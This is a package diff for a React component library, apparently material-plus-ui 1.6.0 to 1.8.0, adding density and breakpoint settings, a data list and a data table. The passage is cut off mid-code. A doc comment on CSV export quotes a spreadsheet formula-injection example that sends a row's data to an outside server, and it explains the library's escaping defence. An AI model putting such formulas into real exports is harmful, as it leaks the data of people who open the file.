material-plus-ui 1.6.0 → 1.8.0

package/dist/components/config/MPConfigProvider.d.ts

@@ -1,6 +1,6 @@
 import * as React from 'react';
 import { useMPConfig, type MPConfigValue } from '../../internal/config.js';
-import type { MPColor, MPSize } from '../../types.js';
+import type { MPColor, MPDensity, MPSize, MPWindowClass } from '../../types.js';
 export interface MPConfigProviderProps {
     /**
      * The size every control under this starts at.
@@ -18,6 +18,46 @@ export interface MPConfigProviderProps {
      * line here rather than a prop on every button, chip, tab and slider.
      */
     color?: MPColor;
+    /**
+     * How tightly every component that holds things is packed under this.
+     *
+     * `0` unless set — the size that was asked for, with nothing taken out. A
+     * product that runs dense sets it here, and only the containers read it: the
+     * lists, tables and cards tighten and the controls keep the height a finger
+     * needs. See `MPDensity`.
+     */
+    density?: MPDensity;
+    /**
+     * Where the window size classes begin, in CSS pixels, for everything the
+     * library decides in **JavaScript** — `useMPWindowClass`, `MPSidebar`'s
+     * collapse, and the rungs `maxWidth` resolves to.
+     *
+     * Partial and merged over MD3's own, so `{ medium: 700 }` moves one boundary
+     * and leaves the other three. `compact` is always nought whatever it is given:
+     * a first class whose floor is above zero leaves a band of windows in no class
+     * at all.
+     *
+     * ## This does not move the stylesheet
+     *
+     * It cannot. A media query is resolved before any of this runs and cannot name
+     * a custom property, so `MPGrid`'s reflow, `MPShow`'s hiding and every other
+     * width-driven rule are decided by the CSS the build produced. This prop is
+     * how you tell the JavaScript side what you already did on the CSS side — it
+     * is not the source, and a page that sets it alone has moved half its layout.
+     *
+     * The CSS side is a project that runs its own Tailwind, redeclaring both
+     * halves of the boundary after importing the library:
+     *
+     * ```css
+     * @custom-variant mp-medium (@media (width >= 700px));
+     * @custom-variant mp-below-medium (@media (width < 700px));
+     * ```
+     *
+     * A project on the compiled `material-plus-ui/styles.css` cannot move the
+     * stylesheet at all, and should not set this either. See
+     * [Breakpoints](../../design/breakpoints).
+     */
+    breakpoints?: Partial<Record<MPWindowClass, number>>;
     /**
      * The language the components speak — the same value `MPLocaleProvider` takes,
      * carried here so an application needs one provider rather than two.
@@ -52,8 +92,9 @@ export interface MPConfigProviderProps {
  * The prop defaults for everything under it.
  *
  * Wrap the application. Every component in this library still takes `size` and
- * `color` of its own, and this is where those props get their default — so a
- * design that runs at `size="sm"` is one decision rather than one per call site.
+ * `color` of its own — and every container takes `density` — and this is where
+ * those props get their default, so a design that runs at `size="sm"` is one
+ * decision rather than one per call site.
  *
  * ```tsx
  * <MPConfigProvider size="sm" color="tertiary" locale="ko">
@@ -61,7 +102,7 @@ export interface MPConfigProviderProps {
  * </MPConfigProvider>
  * ```
  *
- * ## Why it carries these two and not a theme
+ * ## Why it carries these three and not a theme
  *
  * Everything a theme normally holds is already a CSS custom property here — the
  * colour roles, the type scale, the corners, the motion durations. Those reach a
@@ -73,8 +114,9 @@ export interface MPConfigProviderProps {
  * Tailwind class strings — `h-14`, `text-mp-body-large` — because Tailwind finds
  * classes by scanning source text and an interpolated `h-${n}` generates no rule
  * at all. A value that cannot be a custom property and has to reach every call
- * site is exactly what context is for. `color` joins it because the two are the
- * axes a whole product is usually set on together.
+ * site is exactly what context is for. `color` and `density` join it because the
+ * three are the axes a whole product is usually set on together — and because
+ * `density` resolves to class strings for the same reason `size` does.
  *
  * ## Why `variant` is not here
  *
@@ -107,7 +149,7 @@ export interface MPConfigProviderProps {
  * </MPConfigProvider>
  * ```
  */
-export declare function MPConfigProvider({ size, color, locale, dir, children }: MPConfigProviderProps): React.JSX.Element;
+export declare function MPConfigProvider({ size, color, density, breakpoints, locale, dir, children }: MPConfigProviderProps): React.JSX.Element;
 /**
  * The configuration in force at this point in the tree.
  *

package/dist/components/config/MPConfigProvider.js

@@ -1,2 +1,2 @@
 "use client";
-import{jsx as r}from"react/jsx-runtime";import*as o from"react";import{DirectionProvider as e}from"@base-ui/react/direction-provider";import{MPConfigContext as i,useMPConfig as t}from"../../internal/config.js";import{MPLocaleContext as c,useMPLocale as n}from"../../internal/locale.js";export function MPConfigProvider({size:l,color:s,locale:d,dir:a,children:m}){const p=t(),f=n(),u=o.useMemo(()=>({size:l??p.size,color:s??p.color}),[l,s,p.size,p.color]),v=d??f,h=r(i.Provider,{value:u,children:r(c.Provider,{value:v,children:m})});return a?r(e,{direction:a,children:r("div",{dir:a,style:{display:"contents"},children:h})}):h}export{t as useMPConfig};
+import{jsx as r}from"react/jsx-runtime";import*as i from"react";import{DirectionProvider as o}from"@base-ui/react/direction-provider";import{MPConfigContext as e,useMPConfig as n}from"../../internal/config.js";import{MPLocaleContext as t,useMPLocale as s}from"../../internal/locale.js";import{WINDOW_CLASSES as a}from"../../internal/window-class.js";export function MPConfigProvider({size:c,color:d,density:l,breakpoints:p,locale:m,dir:f,children:v}){const u=n(),b=s(),j=a.map(r=>p?.[r]??u.breakpoints?.[r]??"").join(","),y=i.useMemo(()=>({size:c??u.size,color:d??u.color,density:l??u.density,breakpoints:p||u.breakpoints?{...u.breakpoints,...p}:void 0}),[c,d,l,u.size,u.color,u.density,j]),h=m??b,k=r(e.Provider,{value:y,children:r(t.Provider,{value:h,children:v})});return f?r(o,{direction:f,children:r("div",{dir:f,style:{display:"contents"},children:k})}):k}export{n as useMPConfig};

package/dist/components/confirm/MPConfirmProvider.js

@@ -1,2 +1,2 @@
 "use client";
-import{jsx as e,Fragment as r,jsxs as n}from"react/jsx-runtime";import*as o from"react";import{MPButton as i}from"../button/MPButton.js";import{MPDialog as t}from"../dialog/MPDialog.js";import{useMPLocale as l,useMPMessages as c}from"../../internal/locale.js";import{CONFIRM as a}from"../../internal/messages/confirm.js";const s=/*@__PURE__*/o.createContext(null);export function MPConfirmProvider({defaults:m,children:u}){const[d,f]=o.useState(null),p=c(a,l()),h=o.useRef(null),C=o.useCallback((e,r)=>new Promise(n=>{h.current?.(!1),h.current=n,f({...m,...e,acknowledge:r})}),[m]),P=o.useMemo(()=>({confirm:e=>C(e,!1),alert:e=>C(e,!0).then(()=>{})}),[C]),x=e=>{h.current?.(e),h.current=null,f(null)},g=d?.acknowledge??!1;return n(s.Provider,{value:P,children:[u,e(t,{open:null!==d,onOpenChange:e=>{e||x(g)},icon:d?.icon,title:d?.title,description:d?.description,size:d?.size??"md",color:d?.color??"primary",dismissible:d?.dismissible??!0,actions:n(r,{children:[g?null:e(i,{variant:"text",onClick:()=>x(!1),children:d?.cancelLabel??p.cancel}),e(i,{variant:"text",color:d?.color??"primary",onClick:()=>x(!0),children:d?.confirmLabel??(g?p.ok:p.confirm)})]}),children:d?.children})]})}export function useMPConfirm(){const e=o.useContext(s);if(!e)throw new Error("useMPConfirm was called outside an <MPConfirmProvider>. Wrap the application in one — the provider is what holds the dialog every confirm() is drawn in.");return e}
+import{jsx as e,Fragment as r,jsxs as n}from"react/jsx-runtime";import*as o from"react";import{MPButton as i}from"../button/MPButton.js";import{MPDialog as t}from"../dialog/MPDialog.js";import{useMPLocale as l,useMPMessages as c}from"../../internal/locale.js";import{CONFIRM as s}from"../../internal/messages/confirm.js";const a=/*@__PURE__*/o.createContext(null);export function MPConfirmProvider({defaults:u,children:m}){const[d,f]=o.useState(null),p=c(s,l()),h=o.useRef(null),C=o.useCallback((e,r)=>new Promise(n=>{h.current?.(!1),h.current=n,f({...u,...e,acknowledge:r})}),[u]),P=o.useMemo(()=>({confirm:e=>C(e,!1),alert:e=>C(e,!0).then(()=>{})}),[C]),x=e=>{h.current?.(e),h.current=null,f(null)},g=o.useRef(null);d&&(g.current=d);const v=d??g.current,w=v?.acknowledge??!1;return n(a.Provider,{value:P,children:[m,e(t,{open:null!==d,onOpenChange:e=>{e||x(w)},icon:v?.icon,title:v?.title,description:v?.description,size:v?.size??"md",color:v?.color??"primary",dismissible:v?.dismissible??!0,actions:n(r,{children:[w?null:e(i,{variant:"text",onClick:()=>x(!1),children:v?.cancelLabel??p.cancel}),e(i,{variant:"text",color:v?.color??"primary",onClick:()=>x(!0),children:v?.confirmLabel??(w?p.ok:p.confirm)})]}),children:v?.children})]})}export function useMPConfirm(){const e=o.useContext(a);if(!e)throw new Error("useMPConfirm was called outside an <MPConfirmProvider>. Wrap the application in one — the provider is what holds the dialog every confirm() is drawn in.");return e}

package/dist/components/container/MPContainer.d.ts

@@ -1,16 +1,23 @@
 import * as React from 'react';
 import { useRender } from '@base-ui/react/use-render';
-import type { MPSize } from '../../types.js';
+import type { MPMeasure, MPResponsive, MPSize } from '../../types.js';
 export interface MPContainerProps extends React.ComponentPropsWithoutRef<'div'> {
     /**
      * How wide the content is allowed to get, on a ladder pinned to MD3's window
      * size classes — `sm` 600dp, `md` 840dp, `lg` 1200dp, `xl` 1600dp, `xs` 480dp.
      *
+     * Or a CSS length of your own: `maxWidth="60ch"` is the measure a paragraph
+     * actually wants, and no ladder of window widths can spell it.
+     *
+     * Responsive, like the grid's props: `maxWidth={{ compact: 'none', expanded: 'lg' }}`
+     * is edge to edge on a phone and held to 1200dp from 840 up. Each entry applies
+     * from its own window class upward.
+     *
      * `none`, the default, is no limit: a container's job is the margin, and a
      * measure is a second decision that a page should have to ask for.
      * @default 'none'
      */
-    maxWidth?: MPSize | 'none';
+    maxWidth?: MPResponsive<MPMeasure>;
     /**
      * The page margin. Turn it off to keep the centring and the measure without
      * the gutter — a full-bleed hero, a section that pads itself.

package/dist/components/container/MPContainer.js

@@ -1 +1,2 @@
-import*as e from"react";import{useRender as r}from"@base-ui/react/use-render";import{MEASURE as n,SHEET_PAD_X as o}from"../../internal/scale.js";import{useMPSize as a}from"../../internal/config.js";export const MPContainer=/*@__PURE__*/e.forwardRef(function({maxWidth:e="none",padded:t=!0,size:i,centered:s=!0,render:c,className:m,children:d,...l},f){const p=a(i);return r({render:c,ref:f,props:{"data-mp-size":p,className:["mp-container block w-full","box-border","none"===e?"":n[e],s?"mx-auto":"",t?o[p]:"",m??""].filter(Boolean).join(" "),children:d,...l}})});
+"use client";
+import*as e from"react";import{useRender as r}from"@base-ui/react/use-render";import{SHEET_PAD_X as n}from"../../internal/scale.js";import{measureValue as o}from"../../internal/measure.js";import{useWindowMins as t}from"../../internal/window-class.js";import{responsiveSlots as a,withBaseline as s}from"../../internal/responsive.js";import{useMPSize as i}from"../../internal/config.js";export const MPContainer=/*@__PURE__*/e.forwardRef(function({maxWidth:e="none",padded:m=!0,size:l,centered:c=!0,render:p,className:d,style:f,children:u,...j},b){const w=i(l),x=t(),h="none"!==e;return r({render:p,ref:b,props:{"data-mp-size":w,className:["mp-container block w-full","box-border",h?"mp-measure":"",c?"mx-auto":"",m?n[w]:"",d??""].filter(Boolean).join(" "),style:h?{...a("measure",s(e,"none"),e=>o(e,x)),...f}:f,children:u,...j}})});

package/dist/components/data-list/MPDataList.d.ts

@@ -0,0 +1,82 @@
+import * as React from 'react';
+import type { MPDensity, MPOrientation, MPSize } from '../../types.js';
+export interface MPDataListProps extends Omit<React.ComponentPropsWithoutRef<'dl'>, 'color'> {
+    /**
+     * Where the label sits.
+     *
+     * - `horizontal` — beside the value, in a column of its own. The default, and
+     *   the shape a details panel takes.
+     * - `vertical` — above it. For a narrow column, and for values long enough
+     *   that a label beside them would leave most of the row empty.
+     * @default 'horizontal'
+     */
+    orientation?: MPOrientation;
+    /**
+     * How wide the label column is when `horizontal`. A number is pixels, a
+     * string is any CSS length.
+     *
+     * Left out it is as wide as the widest label, which is what keeps every value
+     * in the list starting at the same place without anybody measuring anything.
+     */
+    labelWidth?: number | string;
+    /** Draws a hairline between the rows. @default false */
+    dividers?: boolean;
+    /** @default 'md' */
+    size?: MPSize;
+    /**
+     * Tightens the gaps between rows and columns, and nothing else. The type
+     * scale does not move.
+     * @default 0
+     */
+    density?: MPDensity;
+    /** The pairs. */
+    children?: React.ReactNode;
+}
+export interface MPDataListItemProps {
+    /** What the value is called. */
+    label: React.ReactNode;
+    /** The value. A node, so a chip, a link or a piece of code all fit. */
+    children?: React.ReactNode;
+}
+/**
+ * One pair: what it is called, and what it is.
+ *
+ * A fragment rather than an element, so the `<dt>` and the `<dd>` land as direct
+ * children of the `<dl>` and the grid can line every label up against every
+ * other. It has no `size` or `density` of its own — those belong to the list,
+ * because a details panel with one row set tighter than its neighbours is not a
+ * thing anybody wants.
+ */
+export declare function MPDataListItem({ label, children }: MPDataListItemProps): React.JSX.Element;
+/**
+ * A list of things and what they are called — a details panel, the summary of a
+ * record, the metadata under a heading.
+ *
+ * ```tsx
+ * <MPDataList>
+ *   <MPDataListItem label="Status">Active</MPDataListItem>
+ *   <MPDataListItem label="Owner">Priya Raman</MPDataListItem>
+ * </MPDataList>
+ * ```
+ *
+ * ## Why not a two-column `MPTable`
+ *
+ * Because they are read differently, and the difference is the whole reason
+ * this is a component. A table is a grid of **rows**, all of the same shape,
+ * and a screen reader walks it as a grid — announcing column headers, offering
+ * cell-by-cell navigation, counting rows. This is a set of **pairs**, and each
+ * one is announced as "label, value", which is what a details panel actually
+ * is.
+ *
+ * So it is a real `<dl>` of real `<dt>`/`<dd>` pairs, and `MPDataListItem`
+ * renders a fragment rather than a wrapper: the two elements have to be direct
+ * children of the `<dl>` for the grid to line every label up against every
+ * other, and a `<div>` between them would take the grid with it.
+ *
+ * ## It draws no surface
+ *
+ * No sheet, no padding, no corner. Put it in an `MPCard` when one is wanted,
+ * which is what makes the same list work inside a card, inside a popover, and
+ * loose under a heading.
+ */
+export declare const MPDataList: React.ForwardRefExoticComponent<MPDataListProps & React.RefAttributes<HTMLDListElement>>;

package/dist/components/data-list/MPDataList.js

@@ -0,0 +1,2 @@
+"use client";
+import{jsx as t,jsxs as e}from"react/jsx-runtime";import*as a from"react";import{cssLength as i}from"../../internal/length.js";import{META_TEXT as n,PROSE_TEXT as r,hasContent as l}from"../../internal/scale.js";import{useMPDensity as o,useMPSize as s}from"../../internal/config.js";const m=/*@__PURE__*/a.createContext({size:"md",orientation:"horizontal"}),d={xs:12,sm:16,md:20,lg:24,xl:32},p={xs:8,sm:10,md:12,lg:14,xl:16};function c(t,e,a){return Math.max(a,t+4*e)}export function MPDataListItem({label:i,children:o}){const{size:s,orientation:d}=a.useContext(m),p="vertical"===d;return e(a.Fragment,{children:[t("dt",{className:["mp-data-list__label text-mp-on-surface-variant min-w-0",n,p?"mt-(--_mp-data-list-row) first:mt-0":""].filter(Boolean).join(" "),children:i}),t("dd",{className:`mp-data-list__value text-mp-on-surface m-0 min-w-0 ${r[s]}`,children:l(o)?o:null})]})}export const MPDataList=/*@__PURE__*/a.forwardRef(function({orientation:e="horizontal",labelWidth:n,dividers:r=!1,size:l,density:f,className:x,style:h,children:u,..._},j){const b=s(l),g=o(f),v="vertical"===e,w=a.useMemo(()=>({size:b,orientation:e}),[b,e]);return t(m.Provider,{value:w,children:t("dl",{ref:j,"data-mp-size":b,className:["mp-data-list m-0 min-w-0",v?"flex flex-col":["grid items-baseline","[grid-template-columns:var(--_mp-data-list-label)_minmax(0,1fr)]","gap-x-(--_mp-data-list-col) gap-y-(--_mp-data-list-row)"].join(" "),r?["border-mp-outline-variant","[&>dt:nth-of-type(n+2)]:border-t [&>dt:nth-of-type(n+2)]:pt-(--_mp-data-list-row)",v?"":"[&>dd:nth-of-type(n+2)]:border-t [&>dd:nth-of-type(n+2)]:pt-(--_mp-data-list-row)"].filter(Boolean).join(" "):"",x??""].filter(Boolean).join(" "),style:{"--_mp-data-list-label":i(n)??"max-content","--_mp-data-list-col":`${c(d[b],g,8)}px`,"--_mp-data-list-row":`${c(p[b],g,4)}px`,...h},..._,children:u})})});

package/dist/components/data-list/index.d.ts

@@ -0,0 +1,2 @@
+export { MPDataList, MPDataListItem } from './MPDataList.js';
+export type { MPDataListItemProps, MPDataListProps } from './MPDataList.js';

package/dist/components/data-list/index.js

@@ -0,0 +1 @@
+export{MPDataList,MPDataListItem}from"./MPDataList.js";

package/dist/components/data-table/MPDataTable.d.ts

@@ -0,0 +1,314 @@
+import * as React from 'react';
+import { type MPDataTableSort } from '../../internal/data-table.js';
+import type { MPAlign, MPColor, MPDensity, MPElevation, MPSize, MPSlots, MPVariant } from '../../types.js';
+export type { MPDataTableSort, MPSortDirection } from '../../internal/data-table.js';
+/** How many rows may be chosen at once. */
+export type MPDataTableSelectionMode = 'none' | 'single' | 'multiple';
+/** The parts an `MPDataTable` draws that a `className` cannot reach. */
+export type MPDataTableSlot = 'toolbar' | 'table' | 'head' | 'row' | 'cell' | 'footer';
+/**
+ * A column: its heading, how wide it is, how to get a value out of a row and how
+ * to draw one.
+ *
+ * The split between `value` and `render` is the whole shape of this type. A
+ * `render` decides what a reader sees; a `value` decides what the sort and the
+ * search see. Most columns need neither — the cell is `row[key]`, and that is
+ * what is compared and matched. A column that draws an `MPChip` needs `render`,
+ * and it needs `value` as well the moment it is sortable, because a React
+ * element has no order.
+ */
+export interface MPDataTableColumn<Row> {
+    /**
+     * Identifies the column — to `sort`, to `columnWidths`, and unless `value` or
+     * `render` says otherwise, it names the property to read off each row.
+     */
+    key: string;
+    /** The heading. Defaults to the `key`, which is usually not what you want. */
+    label?: React.ReactNode;
+    /**
+     * How wide, in pixels.
+     *
+     * Pixels rather than any CSS length, because a resize drag does arithmetic on
+     * this number. Columns that do not say are `160`, and see `resizable` for what
+     * turning it on does to the layout.
+     */
+    width?: number;
+    /** How narrow a drag may make it. @default 48 */
+    minWidth?: number;
+    /**
+     * Which edge the cells line up against. Numbers usually want `end` so their
+     * digits line up in a column.
+     * @default 'start'
+     */
+    align?: MPAlign;
+    /** Whether this column can be sorted. Defaults to the table's `sortable`. */
+    sortable?: boolean;
+    /** Whether this column can be dragged wider. Defaults to the table's `resizable`. */
+    resizable?: boolean;
+    /** Whether the search looks in this column. @default true */
+    searchable?: boolean;
+    /**
+     * The value behind the cell: what is sorted, and what the search is matched
+     * against. Defaults to `row[key]`.
+     */
+    value?: (row: Row) => unknown;
+    /**
+     * Orders two rows by this column, for a value the default comparison cannot
+     * rank — a status that goes `draft`, `review`, `live` rather than
+     * alphabetically. Always written ascending; the table reverses it.
+     */
+    compare?: (a: Row, b: Row) => number;
+    /**
+     * Draws the cell. `index` is the row's place in the sorted, searched order and
+     * is counted across every page, so `(row, index) => index + 1` is a running
+     * row number.
+     */
+    render?: (row: Row, index: number) => React.ReactNode;
+    /**
+     * What a download writes for this cell.
+     *
+     * Defaults to `value`, and then to `row[key]`. It is separate from `render` on
+     * purpose: a cell that draws a chip, an avatar or a progress bar has no text
+     * to put in a file, and `render`'s return is a React element rather than
+     * something a spreadsheet can hold.
+     */
+    exportValue?: (row: Row) => unknown;
+    /** Leaves this column out of a download. @default true */
+    exportable?: boolean;
+}
+export interface MPDataTableProps<Row> extends Omit<React.ComponentPropsWithoutRef<'div'>, 'color' | 'children' | 'onSelect'> {
+    /** The columns, in the order they appear. */
+    headers: readonly MPDataTableColumn<Row>[];
+    /** The rows. */
+    items: readonly Row[];
+    /**
+     * A stable identity per row, and the value `selected` is a list of.
+     *
+     * Defaults to the row's index in `items`, which is enough for a table that
+     * only ever displays. The moment rows can be chosen, sorted or searched it is
+     * required in practice: an index identifies a position, and every one of those
+     * three changes which row is in it.
+     */
+    getRowKey?: (row: Row, index: number) => React.Key;
+    /** Shown above the table, and read out as its accessible name. */
+    caption?: React.ReactNode;
+    /** What to show instead of rows when nothing is left. */
+    empty?: React.ReactNode;
+    /**
+     * Which language the table's own words are in — the ticks' names, the count
+     * under the rows, the download button.
+     *
+     * It is also what the default sort compares strings with. Pass it whenever the
+     * markup is rendered on a server: without it the comparison follows the
+     * runtime's own locale, and a server that disagrees with the browser about
+     * that produces two different row orders for the same table.
+     */
+    locale?: string;
+    /**
+     * Makes every column sortable. A column overrides it either way with its own
+     * `sortable`.
+     * @default false
+     */
+    sortable?: boolean;
+    /**
+     * Whether more than one column can be sorted at a time. With `multiple`, a
+     * Shift-press adds a column to the sort instead of replacing it, and each
+     * sorted heading carries its place in the order.
+     * @default 'single'
+     */
+    sortMode?: 'single' | 'multiple';
+    /** The sort. Use with `onSortChange` for a controlled one. */
+    sort?: readonly MPDataTableSort[];
+    /** What it starts as, for an uncontrolled table. */
+    defaultSort?: readonly MPDataTableSort[];
+    onSortChange?: (sort: MPDataTableSort[]) => void;
+    /** Draws a field above the table that filters the rows. @default false */
+    searchable?: boolean;
+    /** The query. Use with `onSearchChange` for a controlled field. */
+    search?: string;
+    /** What it starts as, for an uncontrolled one. */
+    defaultSearch?: string;
+    onSearchChange?: (search: string) => void;
+    /**
+     * Overrides the word on the field, which is also its accessible name.
+     *
+     * It is a label rather than a placeholder because a placeholder is not a name:
+     * a field whose only word disappears the moment somebody types in it is a
+     * field a screen reader announces as nothing.
+     */
+    searchLabel?: string;
+    /**
+     * A filter of your own, applied after the search. Return `false` to drop a
+     * row. `index` is the row's place in `items`.
+     */
+    filter?: (row: Row, index: number) => boolean;
+    /** Content at the end of the bar the search field sits in. */
+    toolbar?: React.ReactNode;
+    /**
+     * Hands the rows out a page at a time, and puts the pages in the footer.
+     *
+     * Every row is rendered otherwise, and there is no windowing — the same
+     * ceiling `MPTable` states, and this is the answer to it. A few hundred rows
+     * is nothing, a few thousand is a visible pause, and past that a table wants
+     * either this or a narrower list.
+     * @default false
+     */
+    paged?: boolean;
+    /** The current page, 1-based. Use with `onPageChange`. */
+    page?: number;
+    /** @default 1 */
+    defaultPage?: number;
+    onPageChange?: (page: number) => void;
+    /** How many rows a page holds. Use with `onPageSizeChange`. */
+    pageSize?: number;
+    /** @default 25 */
+    defaultPageSize?: number;
+    onPageSizeChange?: (pageSize: number) => void;
+    /**
+     * What the footer's page-size control offers. An empty list drops the control.
+     * @default [10, 25, 50, 100]
+     */
+    pageSizeOptions?: readonly number[];
+    /**
+     * Lets a heading be dragged wider or narrower, and gives the handle between
+     * two columns to the keyboard as well.
+     *
+     * **It also changes how the columns are laid out, and it has to.** Without it
+     * the browser balances the columns against their contents, which is what makes
+     * a plain table read well; but a balanced column springs back from a drag,
+     * because a width in that layout is a hint rather than a measurement. Turning
+     * this on fixes the layout, so `width` becomes exact and a column that has not
+     * said how wide it is takes 160.
+     * @default false
+     */
+    resizable?: boolean;
+    /** The widths, keyed by column. Use with `onColumnWidthsChange`. */
+    columnWidths?: Readonly<Record<string, number>>;
+    /** What they start as, for an uncontrolled table. */
+    defaultColumnWidths?: Readonly<Record<string, number>>;
+    onColumnWidthsChange?: (widths: Record<string, number>) => void;
+    /**
+     * How many rows may be chosen.
+     * @default 'none'
+     */
+    selectionMode?: MPDataTableSelectionMode;
+    /** The chosen rows, as their keys. Use with `onSelectedChange`. */
+    selected?: readonly React.Key[];
+    /** Which start chosen, for an uncontrolled table. */
+    defaultSelected?: readonly React.Key[];
+    /**
+     * The keys, and the rows behind them — including rows the search has hidden
+     * and rows on other pages, which are still chosen and still have to be handed
+     * back.
+     */
+    onSelectedChange?: (selected: React.Key[], rows: Row[]) => void;
+    /**
+     * Adds a column of ticks, and one in the heading that takes the whole page at
+     * once.
+     *
+     * It also decides which of the row and the tick is the keyboard's route into
+     * the row — see the note on the component.
+     * @default false
+     */
+    checkboxes?: boolean;
+    /** Fires on every press of a row, before the selection changes. */
+    onRowClick?: (row: Row, index: number) => void;
+    /**
+     * Adds a button that writes the rows out as a CSV file.
+     *
+     * **Every row the reader is currently looking at, not the page they are on.**
+     * The search and the sort are applied and the paging is not, because a file of
+     * page three is not a file anybody asked for.
+     * @default false
+     */
+    exportable?: boolean;
+    /** What the downloaded file is called. @default 'table.csv' */
+    exportFileName?: string;
+    /**
+     * Puts an apostrophe in front of a cell a spreadsheet would otherwise run as a
+     * formula — one beginning `=`, `+`, `-` or `@`.
+     *
+     * On by default. A data table shows rows other people filled in, and the file
+     * it writes is going to be opened in a spreadsheet: those two together are
+     * what turn a cell reading `=HYPERLINK("https://…"&A1)` into one click that
+     * posts the row beside it to somebody else's server. It is the reader's own
+     * spreadsheet that runs it, so the file is the only place to stop it.
+     *
+     * A number keeps its sign: `-5` and `+82 2 555 0100` are not formulas and are
+     * left alone.
+     *
+     * Turn it off for a file going to a parser rather than to a person — a
+     * database loader has no apostrophe rule and would take it as part of the
+     * value.
+     * @default true
+     */
+    exportEscapeFormulas?: boolean;
+    /**
+     * Takes the CSV instead of downloading it — to post it somewhere, to open it
+     * in a viewer of your own, or to put a sheet around it.
+     */
+    onExport?: (csv: string) => void;
+    /** Tints every other row. @default false */
+    striped?: boolean;
+    /** Lights the row under the pointer. @default false */
+    hoverable?: boolean;
+    /**
+     * Pins the heading while the body scrolls. Only does anything if something
+     * around the table actually constrains its height.
+     * @default false
+     */
+    stickyHeader?: boolean;
+    /**
+     * How much surface the sheet around the table paints.
+     * @default 'outlined'
+     */
+    variant?: MPVariant;
+    /** How far off the page the sheet is lifted, on MD3's own scale. */
+    elevation?: MPElevation;
+    /** @default 'md' */
+    size?: MPSize;
+    /**
+     * Which accent family the sort arrow, the ticks and a chosen row read. The
+     * cells themselves stay neutral.
+     * @default 'primary'
+     */
+    color?: MPColor;
+    /** Takes room out of every cell without changing what it is set in. @default 0 */
+    density?: MPDensity;
+    classNames?: MPSlots<MPDataTableSlot>;
+}
+/**
+ * A grid of data with the four things a reader does to one: put it in order,
+ * cut it down, step through it and take some of it away.
+ *
+ * ```tsx
+ * <MPDataTable headers={columns} items={rows} sortable searchable paged />
+ * ```
+ *
+ * It is a separate component from [MPTable](table) rather than a mode of it.
+ * `MPTable` is the presentational half: it
+ * draws what it is given, in the order it is given, and a page that only shows a
+ * grid should not carry a comparator, a CSV writer and a page clamp to do it.
+ * What the two do share is the geometry — `internal/table.ts` holds the cells'
+ * room and the type they are set in — so a data table never sits a pixel off the
+ * plain table beside it.
+ *
+ * ## What it does to the rows, and in what order
+ *
+ * Search, then `filter`, then sort, then the page. The order is the only one
+ * that makes each step mean what it says: sorting before searching would order
+ * rows nobody is going to see, and paging before either would cut a page out of
+ * a list the reader has not asked for yet. `render`'s `index` counts along the
+ * sorted, searched order across every page, so it is a running row number rather
+ * than a position on the screen.
+ *
+ * ## Who holds the keyboard
+ *
+ * A row that answers a press has to answer a keyboard, and a table of two
+ * hundred rows that each did would be two hundred tab stops. So there is exactly
+ * one route into a row and `checkboxes` is what picks it: with ticks, the tick
+ * is the control and the row is not in the tab order; without them, the row is.
+ * `onRowClick` on its own always puts the row in the tab order, because then
+ * there is nothing else to press.
+ */
+export declare function MPDataTable<Row>({ headers, items, getRowKey, caption, empty, locale: localeProp, sortable, sortMode, sort: sortProp, defaultSort, onSortChange, searchable, search: searchProp, defaultSearch, onSearchChange, searchLabel, filter, toolbar, paged, page: pageProp, defaultPage, onPageChange, pageSize: pageSizeProp, defaultPageSize, onPageSizeChange, pageSizeOptions, resizable, columnWidths: columnWidthsProp, defaultColumnWidths, onColumnWidthsChange, selectionMode, selected: selectedProp, defaultSelected, onSelectedChange, checkboxes, onRowClick, exportable, exportFileName, exportEscapeFormulas, onExport, striped, hoverable, stickyHeader, variant, elevation, size: sizeProp, color: colorProp, density: densityProp, className, style, classNames, ...props }: MPDataTableProps<Row>): React.JSX.Element;

package/dist/components/data-table/MPDataTable.js

@@ -0,0 +1,2 @@
+"use client";
+import{jsx as e,jsxs as t}from"react/jsx-runtime";import*as a from"react";import{MPButton as r}from"../button/MPButton.js";import{MPCheckbox as n}from"../checkbox/MPCheckbox.js";import{MPIcon as o}from"../icon/MPIcon.js";import{MPPagination as l}from"../pagination/MPPagination.js";import{MPSelect as s}from"../select/MPSelect.js";import{MPTextField as i}from"../text-field/MPTextField.js";import{ArrowDownIcon as c,ArrowUpIcon as d,SearchIcon as m}from"../../constants/icons.js";import{accentSlots as u}from"../../internal/accent.js";import{containerSurface as p}from"../../internal/elevation.js";import{useMPColor as f,useMPDensity as h,useMPSize as y}from"../../internal/config.js";import{useMPLocale as g,useMPMessages as b}from"../../internal/locale.js";import{fillMessage as v}from"../../internal/i18n.js";import{DATA_TABLE as x}from"../../internal/messages/data-table.js";import{TABLE as k}from"../../internal/messages/table.js";import{TRANSFER as w}from"../../internal/messages/transfer.js";import{CONTROL_ICON as S,META_TEXT as N}from"../../internal/scale.js";import{VISUALLY_HIDDEN as j}from"../../internal/visually-hidden.js";import{CELL_TEXT as C,HEAD_TEXT as z,ROW as _,cellPadX as M,cellPadY as P,drawableCell as E}from"../../internal/table.js";import{DEFAULT_COLUMN_WIDTH as L,MIN_COLUMN_WIDTH as D,compareValues as $,downloadText as A,keysBetween as I,nextSort as K,pageBounds as W,searchHaystack as R,searchText as T,sortRows as B,toCsv as F}from"../../internal/data-table.js";function V(e,t){return e.value?e.value(t):t[e.key]}const H={xs:36,sm:40,md:48,lg:52,xl:60},X=/*@__PURE__*/["group/sort -m-1 flex w-full cursor-pointer items-center gap-1 rounded-mp-xs p-1","appearance-none border-0 bg-transparent text-inherit text-start [font:inherit]","transition-[color] duration-(--mp-sys-motion-duration-short4) ease-mp-standard","hover:text-mp-on-surface","outline-mp-secondary focus-visible:outline-2 focus-visible:outline-offset-1","focus-visible:outline-solid outline-none"].join(" "),O=/*@__PURE__*/["mp-data-table__resize absolute inset-y-0 end-0 z-10 w-2 translate-x-1/2 rtl:-translate-x-1/2","cursor-col-resize touch-none select-none appearance-none border-0 bg-transparent p-0","after:absolute after:inset-y-1 after:start-1/2 after:w-px after:bg-transparent","after:transition-[background-color] after:duration-(--mp-sys-motion-duration-short4)","hover:after:bg-mp-primary data-dragging:after:bg-mp-primary","outline-mp-secondary focus-visible:outline-2 focus-visible:outline-solid outline-none"].join(" ");export function 